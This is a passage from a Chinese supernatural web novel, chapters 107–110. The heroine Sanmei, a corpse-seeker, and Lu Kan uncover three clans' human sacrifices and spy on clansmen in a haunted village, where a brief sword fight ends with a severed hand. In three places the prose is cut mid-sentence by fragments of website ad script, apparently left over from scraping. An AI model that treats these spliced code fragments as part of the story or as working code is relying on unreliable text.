黑山寨岁月静好,难道就唯独他们一族,逃过了天谴? 不可能。 三枚视线不经意瞥到了一旁的锁魂箱,忽而一个激灵。 木清梅! 她猛地抬头,看向老妇,就见她那浑浊的眼睛缓缓一闭。 “云阁的姑娘。” 三枚心里一颤,垂在身侧的手不由握了起来。 老妇的声音还在继续:“云阁的姑娘,就是木府给出的代价。” 白家的阴阳眼,洪姓出人做实验,而木氏,不舍传宗接代的男丁,便将族中女儿,当做了祭品,以求黑渊诸神早日降下福泽。 “木府老太爷是个心狠的,说什么反正女子总是要嫁作他人妇,这么一泼废水,何不让它发挥最后一点的价值,泼在自家的地头,以回馈家族的养育之恩。” 三枚咬牙:“简直丧心病狂!” “哈哈,你骂的对!” 老妇摇着头,“我们三姓都是一群无知愚昧,就像被人牵着鼻子走的蠢驴,前面吊着一根胡萝卜,想要尝到美味,就得一直不断向前、向前、不断向前......” 三枚听得心里发堵,却打心眼里,觉得他们不值得被可怜。 “一句轻飘飘的不知道,不能磨灭你们企图从中获益的想法,更何况你们付出了实际行动,助纣为孽。” “我还是那句话,你们现在承受的所有罪难,都是报应,是活该,是罪有应得的。” “是啊是啊是啊,你说的没错!” 老妇握着拳头,恨恨地捶着桌子,双眼猛然睁开,猩红的双眸紧紧地盯着三枚,声嘶力竭地道:“可是我们白家已经后悔了啊!” “我们每天每夜都在忏悔自己的、前人的、祖先的罪过,我们后悔了啊!悔不当初啊,悔的肠子都青了呀!!” “光嘴上后悔有什么用!” 三枚嚯地一下从座上站了起来,三步并作两步,一下自己就冲到了老妇面前。 她觉得老妇简直不可理喻:“后悔了为何不就此收手?后悔了怎么不做出弥补?后悔了你们还在养魂,还在源源不断地害人!” “你管这叫后悔?” 老妇捂着脸,声音嘶哑:“都后悔了,都后悔了呀......” “我们这支,早在七年前就后悔了,我们没再害过人了啊!” “好娘养在眼里的鬼魂,都是因为我啊!都是为了将我从他们的手里抢回来,才答应养的啊!” “除此之外,我们再没主动过了呀!被排挤被欺负,我们也是忍气吞声,可是怎么办?已经太晚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了啊,报应来得太快了呀。” 快得令所有人都猝不及防,直到白家的人一个接连一个地倒下,暴毙而亡,他们才意识到不对劲。 可是啊可是,太晚了,太晚了呀...... 三枚眉头紧拧,冷声道:“只要人还活着,怎么都不算晚!” 人死了,魂散了,那才是无力回天,那才叫做晚了! 老妇无力地摇着头:“没用的。” “比起其他两姓,我们白家的付出,是实打实的出人出力,我们用身体、用活血、用自己的精气神,养着那些孤魂野鬼,最后不仅得不到承诺的长生成仙,反而被反噬得眼睛失明,甚至暴毙而亡。” “放弃?收手?对于付出了惨重代价的人来说,是多么残忍而冷酷啊!这时候叫他们放弃?这无异于是要了他们的命!” 而他们倾尽一生,就是为了长存不死! “命?” 一直沉默不语的陆衎,忽而低低地嗤笑了起来,他眼含讥讽,看着垂头不起的老妇,玩味地道:“你们害了多少人,那些人的命,就不是命了?” “怎么,你们白家,你们所谓的三姓,就那么了不起,你们的性命就那么的贵不可言?” 老妇百口莫辩,佝偻着身子,掩面呜咽。 沙哑凄凉的哭声,彷如悲鸣的夜枭,悠长而压抑,充满了无尽的悲哀和痛苦。 陆衎却无动于衷,他对老妇的态度,始终冰冷淡漠。 “你们真的后悔了吗?我看未必。” 他慢慢地站了起来,一步一步朝老妇逼近。 “你们不是后悔了,你们是害怕了。” 害怕下一个遭到报应的自己,害怕下一个暴毙而亡的是自己,害怕自己命不久矣,怕像古井村的那些人一样,被卸磨杀驴,无声无息的在这个世上消失匿迹。 老妇猛然抬头,老眼布满血丝,泪水断了线地往下流淌。 她看着陆衎,一字一顿地道:“我已经是黄土埋到脖子根的老不死了,生死早就看淡了。” “我阻止不了其他执迷不悟的、上赶着送死的人,我能做的,就是约束自己,竭尽权利约束我这一脉的其他白家人。” 然而当初为了达到目的,他们不择手段,所做的牺牲,实在太大太大,作下的罪孽,也实在太多太多了。 多到如今,要他们整个家族,都为此付出代价。 “您是旁观客,您说的或许是对的。但无论是真后悔,还是找退路,我们都是泥潭里挣扎求生的蚍蜉。” 只是有人向上求生,有人向下沉沦。 坚持不懈、每到十五月圆夜都要到古井村的农田里砸掛、上香的瞎眼老妪,是不愿醒悟的向下沉沦的一批人。 抓住每一个机会求生,想方设法将三枚引进局中,厚颜无耻求生的老妇一行,是妄想挣脱罪孽枷锁的另一批人。 老妇从椅子里,缓缓地滑到了地上,“人都是自私的,我们白家是自私更是懦弱的,但作孽是我们这些老不死的,阿丑和白墨,他们还是一张白纸啊。” “好娘为了我,已经深陷泥潭,罪孽缠身,但那些还没长成的孩子,我不能眼睁睁地看着他们,也被我们这些老不死的糊涂蛋,给牵连祸害了去啊!” 三枚拉着陆衎后退,避开了老妇的跪拜。 “因果轮回,罪有应得,是世间自然,我只是一个小小的寻尸人,没有那么大的能力,扭转乾坤。” 老妇抬眸:“难不成,你们就忍着看着老洪头和木府那群人,继续枉顾人命,为祸人间?” 陆衎怒视老妇:“所以你想借刀杀人,让我们解决了那个姓洪的,顺便再为你扳倒黑山寨的木府?” “我是求你们!”老妇大吼道,她摇头否认,“求你们,查明事情真相,好让我们死得明明白白。” 老妇的话音落地,地下室便陷入了一阵沉寂。 三枚忽而觉得有些无法呼吸,压抑得很。 她拉着陆衎,想要尽快离开这个鬼地方,转身却见门口蜷缩着一个黑影。 是阿丑。 三枚拧眉,不知道她什么时候来的,又听到了多少。 陆衎:“半刻钟前来的。”躲在阴影里,估计听了不少。 阿丑瑟缩地站了起来,颤颤地道:“饭,做好了。” 108. 第 108 章 太阳西斜,余晖茫茫。 老旧古朴的八仙桌上,摆满了色香味俱全的美味食物。 饭桌上,有鱼有肉,六菜一汤,香气飘飘,令人食指大动。 然而香气扑鼻的饭桌上,气氛却十分压抑。 白墨咽了咽口水,时不时紧张地往左边看看,见三枚和陆衎,慢条斯理地夹菜吃肉,没什么异常。 他又转头看向自己的右手边,发现阿丑垂着脑袋,一张脸几乎埋在了碗里,手里的筷子却像在数米粒,捻起又放下,一点胃口也没有的样子。 总是热情高涨,没心没肺的小丫头,突然情绪低落,格外引人注意。 在地下室发生了什么?难不成是在脾气古怪的老祖宗那儿吃了瘪了? 白墨丈二和尚摸不着头脑,又不好多问。 他爹正在房间照顾昏睡的娘亲,老祖宗亦是多年不曾与他们同桌吃饭,全家上下,竟让他一个十几岁的毛头小子出面待客。 他根本就不懂什么待客之道嘛,就像现在气氛沉闷,没了阿丑在边上打哈哈,他一点也不知道挑起什么话题,才能打破现在这个令人窒息的氛围。 “嘎嘎嘎,嘎嘎嘎,嘎嘎嘎......” 桌下这时响起特别有节奏的的声音,白墨低头往桌底一看,就见总是昂首挺胸的丑乌鸡,正埋头欢快地磕着碗里的白黍米。 速度极快,满满的一碗黍米,一下子就被它吃了大半。 “刚才,”数米粒的阿丑,突然开口了,“敲门的是谁?” 白墨直起身,看了三枚和陆衎两人一眼,欲言又止。 “说!”阿丑将筷子拍在桌上,心气不顺地喝道:“支支吾吾,有什么见不得人的,非要藏着掖着!” 白墨冷不防被吼,这下心里确定了:阿丑这丫头,一定是受到什么刺激! 惹不得,也惹不起! 他眨了眨眼,道:“哦,是烨老姑。” 阿丑身子一顿,眉头皱了又皱,看着白墨:“她来干什么?” 白墨挠了挠头,眼珠子隐晦地瞟了三枚那边一眼,“老样子。” “确认我和爹娘都在家,顺便再警告一次,让我今晚不许乱走动,老老实实呆在家里。” 阿丑瞪了白墨一眼,转头看向吃个不停的三枚,眼睑微垂。 她闷闷地道:“他说的烨老姑,就是在农田砸掛的瞎眼老妪,叫白烨,是我们白家现存最大辈分的一个老人家。” “顺便一提,刚才在柴房地下室的老人家,叫做白炀,跟那瞎眼老妪一个辈分。” “阿丑,你、你在说什么呀。” 白墨在桌下拉扯阿丑的衣服,疯狂给她使眼色。 阿丑用力一挥,“说了不用藏着掖着,你家老祖宗,什么都交代了。” “什么我家的老祖宗!”白墨脸一沉,皱着眉头:“那也是你的老祖宗,咱们是一家人。” “什么一家人,那是因为我——”阿丑话说一半,想到什么,突然就闭了嘴。 白墨:“因为你什么?” 本来脱口而出就要撂狠话的阿丑,最后忍了忍,咬着唇哼了一声,“没什么!” 她重又抓起筷子,泄气似的戳着碗里的白米饭。 “我奶说的没错,我又蠢又犟,一身反骨耳朵又硬,没心没肺又眼瞎心盲,自以为是,愚不可及,朽木不可雕,烂泥扶不上墙......” 一直目不斜视,专心吃饭的三枚,听见阿丑开始反省痛骂自己的时候,差点没被噎着。 “咳咳。”她轻咳一声,眼睛忍不住偷偷瞥了阿丑一眼。 小丫头又沮丧又懊恼,仿佛天塌了一样哭丧着脸。 陆衎气定神闲,舀了一碗汤,递到三枚的眼前,轻声道:“喝点汤,歇会儿再吃。” 三枚看着眼含笑意的陆衎,抿了抿嘴,点头接过,借着喝汤的动作,慢慢地看起了戏。 没注意看陆衎和三枚的眉眼动作,白墨的注意力全都在反常的阿丑身上。 “阿丑,你到底怎么了?” 好端端的,怎么突然骂起自己来了。 阿丑抿了抿唇,嘟哝道:“一码归一码,我奶认了你,你就永远都是我的二哥。” 白墨:“那你刚才那样说话?” “我刚才怎么了,我说的也没错啊,我奶可没让我随便给家里认下个老祖宗啊。” 听说当初她家这一支选择留在黑山寨的时候,可是被当时的族长狠狠地教训了一通。 后来出走的人,还曾经回来,洋洋得意地奚落他们,说他们鼠目寸光、胸无大志,还固步自封,错过了什么好机会啥的。 如今呢? 还不是得回到寨子里,求着让她奶给出主意帮忙什么的! 想到在地下室听到的那些话,阿丑心里火烧火燎的,根本无处发泄心中的怒火。 原来一切都是假的!她奶还傻乎乎的,想要解放那个叫做阿梅小姐的灵魂。 她现在恨不能立刻回到白老太的身边,将全部的真相都说出来。 “阿丑,在地下室里,是不是发生了什么事情?”白墨一脸严肃地看着阿丑。 阿丑抬眸,想说什么,又突然顿住了。 虽然不知道白墨对于三姓之间的勾当,到底知道多少,但她觉得,有些话,不应该通过她的嘴里说出来。 阿丑噘着嘴巴哼哼两声,“问你家老祖宗去。” 果然,还是跟老祖宗起了冲突吗? 白墨皱着眉头,望着缓缓飘落在院子里的落叶,满脸忧愁。 “啪。” 三枚将手里的碗放到桌上,就着陆衎递过来的手帕擦了擦嘴,满足地打了个小小的饱嗝。 “我吃饱了。” 她站起身,看了看心虚低头的阿丑,又看了眼憨厚懵然的白墨,叹了口气:“你们随意吧。” 说完,三枚背上锁魂箱,与同样起身离座的陆衎对视了一眼,转身就走。 “你们、你们要去哪儿?”白墨连忙起身,追在他们的后头问道。 三枚想了想,转过头,毫不避讳地回答道:“天色不早,趁着子时未到,我们先进古井村里等着。” “可是、可是......” 白墨想说点什么,但又不知道说什么好。 明明他们兜兜转转,就是为了让三枚进村解决麻烦,但不知为何,他总觉得有心绪难安,好像有股气堵在他的胸口,压得他心里难受。 老祖宗说了,三枚不是普通的寻尸人,是个有本事有能量的高人,只有她,才能将他们白氏一族从邪恶的诅咒里解救出来。 只有缠着她娘不肯离开的鬼魂被收走了,他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 娘的病,才能不药而愈。 可是现在,除了早上的那团奇怪的白絮,也没见三枚做什么法术,将那些鬼魂从她娘的眼睛里赶出来啊。 “缠着你娘,让你娘病入膏肓的,并非那些孤魂野鬼,而是她自己。” 三枚仿佛看透了白墨的想法,突然出声说道。 白墨疑惑不解:“我娘自己?不是的,我娘每次被折磨的时候,都是痛不欲生,她无能为力的。” 三枚摇头,缓缓地转过身子,看着天真不知事的白墨。 她神情认真而专注地直视少年的眼睛,轻声道:“只要她想,那些孤魂野鬼随时都能离开她的眼睛。” “禁锢她的,是她的无知思想,和异想天开的无底欲望。” “不是的,我、我娘她......” 白墨很想为自己的娘亲辩解,但不知为何,看着三枚十分笃定、仿佛会放光的杏眸,他竟是一句话都说不出来。 他忽然就想起来,清晨的时候,三枚曾冷冰冰地瞪着她娘,沉声让她娘将幽魂吐出来。 当时他只沉浸不可思议中,心里不断感叹,三枚居然一眼就看出缠在娘亲眼里的鬼魂。 现在想想,白墨不由打了个冷颤。 肩上忽而搭上一只小手,他转头,就见阿丑眉头深皱,一脸严肃地对着自己摇了摇头。 “二哥,之后再说吧,现在办正事要紧。” 阿丑说完,上前一步,偷偷瞥了三枚一眼,看着陆衎道:“我能跟着你们吗?” 陆衎侧头,朝三枚挑了挑眉。 三枚皱了皱脸:“不行。” 阿丑一顿,情绪又低落了下来,声若蚊蝇地道:“哦。” 说完后退一步,她一个转身,脑袋啪的一下趴在了饭桌上。 白墨沉重的心情,好像随着那一声响,咻一下减轻了不少。 他整理了下情绪,抬头看着三枚:“那、要不,我给你们带路吧。” “我发现了一条从碧水村通往古井村的小道,不仅能快速进入鬼村,而且还能掩人耳目,不被人发现。” 白墨舔了舔嘴角,补充道:“你们放心,这条小道,只有我一个人知道,我连阿丑都没告诉过。” 趴在饭桌上独自黯然神伤的阿丑,闻言身子一僵,“唔嘤”一声,低低地啜泣了起来。 “额......”白墨挠着脑袋,看着陆衎和三枚一脸为难,有些手足无措。 三枚看着看着,突然噗嗤一声,笑了出来。 “不用了。”她笑望了阿丑的背影一眼,“我还有更重要的事情,要交给你们去做。” “不过现在嘛,我有些不确定,你们是否能完成了。” “能!” 阿丑大吼一声,弹簧一样,瞬间从桌上弹了起来,几步就窜到三枚的面前。 她搓着双手,一脸恳切地看着三枚:“你说,你要我们做什么,我保证完成任务!” 看着她瞬间恢复元气,眼角挂着泪花,却精神满满的样子,三枚不由在心里轻笑一声:果然是个孩子。 她看了陆衎一眼,忽而指着八仙桌下埋头苦吃的八耳,淡声道:“那就请你们,将八耳送到白老太那儿去。” 三枚说完转身,跨过门槛时,抬头看了下天色,忽而强调道:“务必在子时之前送到。” 109. 第 109 章 “布谷、布谷、” 黑暗中,静谧无人的空旷乡野里,突然响起两声鸟叫声。 那声音时而短促,时而悠长,时而嘹亮,时而微弱。 陆衎侧耳听了一会儿,凑到三枚身边,在她的耳边轻声道:“子钰已经回来了。” 听暗号,他们的人已经将所有可疑的地方,全都包围了。 这么快? 看不出来啊,裴元这个花孔雀,办事效率还挺高! 三枚挑了挑眉,看着陆衎道:“先按兵不动吧,等搞清楚古井村里的猫腻再说。” 陆衎点头,退后一步,举起手在半空中做了个手势,便又回到了三枚的身边。 两个人走在白墨所说的隐秘小道上,一路疾行,保持警戒,很快就到了古井村。 三枚看了下天色,想了想,没有再在别处耽搁,直接带着陆衎拐进了农田里,不一会儿便寻到了瞎眼老妪昨晚砸掛上香的位置。 摆在地上的空牌位,已经不翼而飞,只有地上还残留着一堆香灰。 田间偶尔掠起一阵强风,吹得三枚忍不住起了一身的鸡皮疙瘩,然而堆积成小山的香灰,却是纹丝不动。 “别走远。” 三枚蹲下-身子,正要捻起那堆香灰看看究竟,余光瞥见陆衎扒开另一处草丛,抬脚就要往外走,“小心有陷阱。” 陆衎转过头来,手指指着那处草丛,轻声道:“你看,长袍大褂。” 顺着他骨节分明的手指望去,果然就见一件褐色的长袍大褂,被随意地丢弃在一边的地上。 “我看看。” 三枚凑到陆衎的边上,猫着脑袋绕过他的长臂,对着那件平平无奇的大褂,左看右看。 陆衎低头看着胸前移来移去的小脑袋,好看的唇线微微上扬,他眨了眨眼,忽而弯腰,将下巴轻轻地搁在三枚的头顶。 “看出什么端倪了吗?”他柔声问道。 三枚心里好奇,又十分谨慎,生怕周围有什么陷阱,不敢轻易去碰长袍大褂。 看了一会儿,没发现有什么异常之处,正犹豫是否要把大褂提起来甩一甩的时候,脑袋突然一重。 头顶传来陆衎的声音,她杏眸往上一抬,快速地眨了眨眼睛,却除了一片阴影,看不见人的脸。 大脑蒙了一瞬,三枚捂着跳动有些快速的心口,忽然觉得头顶有些发痒。 她皱了皱脸,突然开口:“陆衎,我头痒痒。” “呵。”陆衎低声轻笑。 搁在三枚头顶的下巴,随着他的身体微微颤动,好似直接顺着她的头盖骨,直直地传进自己的大脑里。 三枚忍不住别过脑袋,手指用力地伸进头发里,胡乱地挠了起来,又总觉得挠不准位置,心里也开始跟着发痒。 “啧!看来我是太久没洗头了,一痒起来就没完没了,简直烦死了!” 陆衎身子往边上一侧,他歪着头,看着三枚皱巴巴的侧脸,强压着嘴角的笑意,“我给你挠挠?” “别!” 三枚毫不犹豫地拒绝了陆衎的好意,身子赶紧往后一躲,特别认真地道:“我自己来。” 陆衎抿了抿嘴,默默收回已经伸了一半的手,眼睑微垂,低低地道:“哦。” 怎么看起来还挺失落的样子。 然而不管陆衎看起来多失落多可怜,她都不会心软。 开玩笑,几天没洗的大油头,能随便让陆衎摸吗? 虽然他下巴就搁在自己的头顶,好在没有什么异味。 但是,若是万一让他摸了一手的油,还有异味的话,自己的美好形象,不就彻底破灭了? 她不要面子的啊! 所以坚决不能!绝对不许!完全杜绝! 三枚彻底忘记了,自己初遇陆衎时的形象有多么狼狈! 她一边挠头,一边抄起地上的大褂,咻的一下从陆衎的长臂下,又窜了出来。 “干正事呢,序三枚!别想些有的没的、沉迷美色无法自拔,集中注意力!集中注意力啊。” 三枚一边在心里告诫自己并大声喊话,余光一边偷瞥陆衎一眼,确认他只是有些失落,脸上并没有受伤之类的表情,悄悄地松了一口气。 她将手里的大褂,轻轻地抖了抖,发现大褂袖口和下摆的位置,并没发生如白墨所言的、突然收紧密封的状况。 果然像她猜测的那般,这长袍大褂就是用来装神弄鬼的? 三枚一边思忖着,一边把大褂铺平在地上,小手缓缓地游走摸索了起来,最后终于在后衣领的位置,摸到了一个微微凸起的纹路。 纹路并不粗糙,柔软又平整,若不是三枚细心,很可能就忽略过去了。 将大褂提到月光下仔细一看,像是用湛蓝色的丝线,缝了一个字。 “塑?”陆衎微微皱眉,在月光下认出了衣领上的字,问道:“这是刺绣?” “不是。”三枚摇头,“用水术烫上去的。” “水术?”陆衎挑眉:“你认得这东西?” 三枚点头,眉心微蹙,轻声道:“海门涂家的东西。” “海门涂家?寻尸人?” “嗯。”三枚应道,“水术拓烫,是海门涂家的基本术法。” 陆衎又问:“这字有什么含义吗?” “塑,五行属土,”三枚轻嗤一声,语气不屑地道,“寻尸五门,就他们海门最爱搞这些有的没的。” 论资排辈、分帮结派,争权夺利、扩充势力用的。 “但是海门涂家的东西,怎么会出现在这里?” 难不成那个为祸一方的高人,是海门涂家派来的人? 她表情瞬间严肃了起来,又将大褂铺平在地上,迅速地摸索了起来。 果然在衣服的袖口两侧和下摆的隐蔽处,发现了三个一模一样的“塑”字。 “确实是海门涂家!” 三枚将大褂猛然砸在地上,掐着手指在心里默默地数了起来。 数着数着,突然想起几年前,自己好像曾代替家里的老头,参加过海门涂家的一场葬礼。 葬礼的主人公,好似就是“塑”字辈的一个老人! 白老太提过一嘴,说黑渊那个神秘的崖道,尽头好像就是大海。 所有的巧合一连,三枚咬着牙恨声道:“怪不得那日在崖边,涂家那两个废物蠢货,非要致自己于死地!” 陆衎握住三枚的手,“冷静点。” “你是说,与鬼村一案牵连而出的养尸地和活死人,都是寻尸人之一的海门所为?” 三枚眉头拧成疙瘩,“虽然不清楚是整个海门的锅,还是他门下‘塑’字辈背着人后作的孽,但他们海门别想逃脱干系,必须负起责任来!” 陆衎:“那,现在要怎么做?” “先——”三枚刚想回答,嘴巴就被陆衎捂住了。 “嘘!” 陆衎将三枚紧紧揽在怀中,示意她看向远处,指着徐徐朝他们靠近的火把,低声道:“有人来了。” —— 夜半,天地冥冥,万籁俱寂。 月光倾洒,照亮了一地漆黑,星辰如细雨洒落人间,为轻柔的幽光点缀了热闹。 燃烧的火把,来势汹汹,仿若粗鲁蛮横的侵略者,贸贸然地冲破了月色,破坏了夜的宁静。 “老三,快点!” 三枚和陆衎匍匐在草丛里,屏住呼吸,一动不动地盯着不远处的人。 火光不仅驱散了幽暗,更是将不速之客的脸,照得一清二楚。 为首的男人握着火把,粗犷的外表下,声音分外粗哑。 他走两步就得停下来,回头催促身后慢吞吞的人,“快点!老三,已经子时了。” “哎呀,急什么,急什么。” 男人的身后,慢悠悠地走出一个瘦高个,吊儿郎当地睨了粗犷男人一眼,“瞧你急得抓耳挠腮的猴样儿,也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不知道有什么好急的。” “你动作就不能利索点,总是拖拖拉拉,耽误了事怎么办?” “你什么时候见我耽误过事儿?”瘦高个轻哼,依旧不紧不慢地走着。 粗犷男人皱着眉头,一脸不悦:“今儿不同往日,你能严肃一点吗?” “你知道今天是什么日子吗?” 瘦高个懒洋洋地道:“什么日子?” 粗犷男人一噎:“你!” “说不出口了?还是不敢说了?”瘦高个嗤笑一声,“来来来,我替你说。” “今儿是咱们一同来确认,被咱们一同迫害的同宗同族的兄弟姐妹们,是死是活,还是真成仙了的大好日子!” 粗犷男人喝他:“老三!你在发什么疯!” “我发什么疯!你说我发什么疯?”瘦高个声音陡然拔高,情绪激动地吼道。 “他们都后悔了,说不想成仙了!哭着求着想要做个普通的人。里面有我们的家人,有我们的兄弟姐妹啊,为什么就不能放过他么呢?啊!!” 粗犷男人喉头一哽,向后连退几步,“事到临头,哪有后路可退......” “怎么没有!罢手就能救!回头就是路!” 瘦高个猛然上前,揪着粗犷男人的衣领,压着胸腔的怒火,“他们白家死到现在,剩下多少人,你我比谁都清楚!” “我们谁都心知肚明,三姓谁都心知肚明!这破烂事,从头到尾就是一个骗局!” “老三!”粗犷男人猛然挣开束缚,瞪着猩红的眼睛,“你知道你在说什么吗?” “我在说什么?我在说事实!” “你现在马后炮有什么用!!”粗犷男人像是终于忍不住,怒吼出声,“当初他们哀求的时候,你怎么不说!” “族长下命令的时候,你怎么不说,怎么不表态!动手的时候你也在边上,你怎么不阻止!” “你现在朝我发疯,又有什么屁用!!!” “哈哈哈哈,是啊,没有用!”瘦高个眼里的癫狂逐渐退去,抱着脑袋突然就蹲下了身子。 “现在说这些,又有什么用呢?没用了,没用的呀,哈哈哈......” 杳无人烟的空旷农田里,两个男人激烈的争吵声,仿若响彻云天。 瘦高个压着声音低低啜泣的呢喃自语,三枚和陆衎更是听得一清二楚。 三枚刚想起身看看究竟,却发现陆衎环在她腰上的手一紧。 她稍微侧过头,皱眉瞪着近在眼前的美人脸。 陆衎微微一笑,轻轻地摇了摇头,指着自己的耳朵,嘴巴无声地说道:“还有一个人。” 还有一个人? 三枚瞪眼,就在这时,突然传来了一个陌生的男声。 “大哥,老三,你俩这又是何必呢?” 黑暗中,走出一个又矮又胖的人来,他的手里拿着一个巴掌大小的陶瓷坛子。 他看着一脸怒容的老大哥,叹了口气,才将地上的瘦高个扶起。 “为了此事,迄今为止,我们之间爆发了无数的争吵,然而闹到最后,又有什么结论出来吗?” “没有,除了在无止尽的争吵中,把彼此骂得遍体鳞伤之外,什么收获也没有。” 他两手一摊,拍了拍粗犷男人的肩头,“大哥,老三需要时间慢慢平复情绪,你别再逼他了。” 说完又对着瘦高个道:“老三,大哥他心里的苦,并不比我俩少,你也体谅他一下。” “哼!”瘦高个将人一把推开,“就你老好人!就你善解人意!” “走啊,不是夺命一样催促吗!”瘦高个撇开人往前走,侧脸对着粗犷男人大吼道。 “这小子!”矮胖的男人摇了摇头,“走吧,大哥。” “当初放手一搏的时候,不就是为了等今日吗?” 男人抬头望天,在心里呢喃道:今日过后,希望我们,还能看见朝阳升起。 110. 第 110 章 一场激烈的争吵过后,农田里又恢复了安静。 风声徐徐,周围除了沉重的脚步声,和三兄弟低沉的呼吸声,再没有一人开口说话。 三枚和陆衎看着三人朝自己的方向慢慢靠近,站在了他们二人方才停留的位置。 “这老太婆,又把东西四处乱丢!” 瘦高个捡起地上的长袍大褂,顺手折叠了起来,伸手在地上摸索了一翻。 三枚挑眉,清楚地看见瘦高个屈着手指,用力在地上刨土,接着好似摸到了什么硬物。 “卡擦”一声响。 他从下往上拉开了一个木板,将折叠好的大褂,小心翼翼地放了进去。盖上木板后,又将原先刨开的土壤,严严实实地覆盖在上头。 “嗯?” 这时矮胖的男人,突然发出了疑惑的声音,他问:“你们有闻见什么味道吗?” 粗犷男人上前一步,将火把对准了矮胖男人所在的位置,低声问道:“怎么了?” 矮胖男人摇着头:“味道不太对劲。” 他站着的位置,赫然就是三枚方才站着疯狂挠头的地方。 三枚龇着牙:“这家伙,莫非长了一副狗鼻子!” 他最好是不要说什么奇怪的话,敢说臭味或者什么,三枚发誓,一定饶不了他! 瘦高个埋好东西,凑到矮胖男人身边嗅了嗅:“什么味道?我怎么闻不出来?” “不清楚,估计是白家那臭小子又跟着老太婆进来了。”矮胖男人抬头道。 “啧!”瘦高个脸一沉,“这小子,难道不知道好奇害死猫吗?胆子这么大!” “等事情办完,回去的时候我跟族长说一声,让白家的人好好约束自个儿的人。” 粗犷男人说完,下巴往香火堆一抬,“你们先将东西收进坛子里再说。” 矮胖男人点了点头:“嗯。” —— 三个大男人,半蹲着身子围作一团,小心翼翼地将地上的香灰,一点一点地收进坛子里,接着起身,又沿着来时路,慢慢地走出了农田。 三枚和陆衎,不远不近地跟在他们的身后,小心翼翼,没有发出一点声音。 直到看见三个男人,进入了他们之前暂时落脚的茅草屋,三枚不由一愣。 她看着陆衎,轻声道:“这么凑巧?” 陆衎轻摇了下头,“别忘了,当时咱们身边跟着阿丑。” 虽然他们昨晚看似是随意地选了间屋子歇息,但之后他们就在这屋外遇见了白墨那小子。 或许被谁授意,或许是阿丑和白墨的约定在这儿碰面。 之前的种种的巧合,现在看来,不过全是人为引导。 “现在怎么办?”这下换三枚问陆衎要办法了。 称兄道弟的三个人,不仅已经进了茅草屋,还将门窗都关紧了。 三枚他们在外面,根本就看不见里头的动静。 陆衎长臂一伸,又环住了三枚的腰背,他轻声道:“简单,你把嘴巴捂紧了。” 三枚杏眸眨了眨,听话地抬起双手捂住了嘴巴。 陆衎见状,眼尾一挑,脚下忽而用力一蹬,带着三枚便飞了起来。 双脚骤然腾空,三枚猝不及防,差点失声尖叫,幸好嘴巴紧紧捂着,才没有发出声音。 她眼睛瞪得又圆又大,看着陆衎一脸轻松地带着自己,三两下就飞到了茅草屋顶,忍不住竖起了大拇指。 “好厉害!” 三枚用气音,在陆衎耳边重重地道,说完忍不住,用力地在他的脸上亲了一下。 陆衎瞬间心花怒放,脑海里又炸起了烟火,浑身充满了力量,恨不能抱着三枚在天上飞个三天三夜! 但他还是强压着上翘的嘴角,努力保持理智,揽着三枚腰侧的手紧了紧,手背青筋毕现。 “哦。”陆衎最后还是按下了躁动的心脏,在三枚耳边轻声道。 他克制着自己的情绪,缓缓地掀开了屋顶的一角,低头往里看的时候,猛然对上一只硕大的眼睛。 “不好!” 陆衎瞬间后撤,带着三枚就要逃。 这时屋顶“砰”的一声,突然窜出一直大掌,精准地拽住了三枚的脚腕,见她往下用力一拽。 陆衎刚想抱起三枚,却听她在耳边快速地道:“屏住呼吸!” 接着眉心感到一丝凉意,是三枚伸出拇指,在他的眉心轻轻点了点。 陆衎愣神的瞬间,三枚已经被那只诡异的手掌,拽着往下倒去。 怕误伤到人,他没敢用蛮力对抗,而是破开了屋顶,抽出别在腰间的三尺青锋软剑,瞬间就将那只抓着三枚的手,斩成两断。 被拽进茅草屋里的三枚,稳稳地落在陆衎的怀里。 “没事吧?”陆衎眼睛盯着三枚,“有没有受伤?” 三枚摇头:“我没事。” 她看了眼掉在地上的手腕,目光一闪,落在了地上嚎啕的粗犷男人身上。 “啊啊啊!!!” 男人断了一只手臂,鲜血潺潺地往外直冒,他凶狠地瞪着陆衎:“该死的!你们一个都别想跑!” 他说完一个暴起,抄起房间的桌子,猛地朝陆衎砸来。 陆衎抱着三枚侧身,握剑的手腕轻松一转,对着飞到空中的桌子,“哗哗”几下。 那桌子瞬间四分五裂,噼里啪啦四散飞去。 等到眼前一净,房间却空无一人,连那断手都不翼而飞了。 只有地上的那摊鲜血,提醒着刚才的混乱,不是他们的错觉。 房间恢复安静,三枚在茅草屋里转悠了一圈。 陆衎紧紧牵着三枚的手,剑柄沿着墙角地板逐一敲过,并未发现什么暗道。 “他们人呢?” 三个大活人,突然凭空消失,若房间没有密道之类的,那只能是...... “遁术。” 虽然刚才的事故来得令人猝不及防,但三枚脚腕被抓住的瞬间,她便感受到了一股恶寒。 覆盖在那只手上的戾气之大,不像是活人该有的,她当时都不敢轻易动弹。 只敢在自己和陆衎的眉心位置,掐诀轻轻点了一下。 直到她被暴力拽下茅草屋的时候,虚空对上了蹲坐在角落阴影里的矮胖男人的猩红视线,再看向陷入癫狂状态的粗犷男人的时候,三枚便明了。 这两个人,已经失去了意识。 与此同时,三枚的鼻尖,还嗅到了一股淡淡的尸气。 陆衎拧眉:“尸气?” “对。”从矮胖男人手里的坛子里发出的,淡淡的腥臭味,就是尸气。 而那些尸气,正徐徐的萦绕在两个男人的身上,一点一点地窜进他们的鼻孔。 “他们吸食了尸气,不仅意识,身体也被控制了。” 三枚皱了皱鼻头,房间里那淡淡的腥臭味,还没有挥散干净。 “那他们现在人呢?” 用力踩了踩地下,三枚在陆衎不可思议的目光下,轻轻地点了点头。 “是的,他们抱着那些香灰,被遁进了地下。” “被?”陆衎皱着眉头:“那些香灰,要对他们做什么?” “如果我猜的没错的话,”三枚抬头,透过破烂的屋顶,看着缓缓移到头顶的月亮。 穿过月色,她仿佛看到了月光之后、若隐若现的高山轮廓,“应该是去了黑渊。” “黑渊?怎么可能......” 三枚点头:“他们被坛子里的香灰,带去了黑渊,目的地,很可能就是那片养尸地。” 陆衎:“等等,他们方才争吵的时候,不是说此行是为了确认古井村那群人的生死而来的吗?怎么突然就被带到了养尸地了?” 